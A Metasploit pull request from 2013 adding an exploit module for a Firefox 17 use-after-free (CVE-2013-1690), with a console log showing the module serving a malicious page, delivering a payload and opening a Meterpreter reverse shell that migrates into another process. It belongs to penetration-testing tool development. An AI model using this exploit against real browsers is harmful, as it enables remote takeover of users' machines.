rapid7/metasploit-framework — pull request #2198 by jvazquez-r7 (2013-08-07 20:38:33+00:00)
Title: Add module for 2013-1690

Just a first version, triggering the UAF and achieveng RCE on XP through fake vftable pointer

```
msf exploit(mozilla_firefox_onreadystatechange) > rexploit
[*] Stopping existing job...
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 10.6.0.165:4444
[*] Using URL: http://0.0.0.0:8080/Dze7j2f
[*] Local IP: http://10.6.0.165:8080/Dze7j2f
[*] Server started.
msf exploit(mozilla_firefox_onreadystatechange) > [*] 10.6.0.165 mozilla_firefox_onreadystatechange - 10.6.0.165 mozilla_firefox_onreadystatechange - Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130505 Firefox/17.0
[*] 10.6.0.165 mozilla_firefox_onreadystatechange - 10.6.0.165 mozilla_firefox_onreadystatechange - Firefox 17.0 requested exploit...
[*] 10.6.0.165 mozilla_firefox_onreadystatechange - URI /Dze7j2f requested...
[*] 10.6.0.165 mozilla_firefox_onreadystatechange - Sending HTML
[*] 10.6.0.165 mozilla_firefox_onreadystatechange - 10.6.0.165 mozilla_firefox_onreadystatechange - Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130505 Firefox/17.0
[*] 10.6.0.165 mozilla_firefox_onreadystatechange - 10.6.0.165 mozilla_firefox_onreadystatechange - Firefox 17.0 requested exploit...
[*] 10.6.0.165 mozilla_firefox_onreadystatechange - URI /Dze7j2f/iframe.html requested...
[*] 10.6.0.165 mozilla_firefox_onreadystatechange - Sending iframe HTML
[*] Sending stage (751104 bytes) to 10.6.0.165
[*] Meterpreter session 2 opened (10.6.0.165:4444 -> 10.6.0.165:57659) at 2013-08-07 15:09:50 -0500
[*] Session ID 2 (10.6.0.165:4444 -> 10.6.0.165:57659) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: firefox.exe (3688)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2656
[+] Successfully migrated to process

```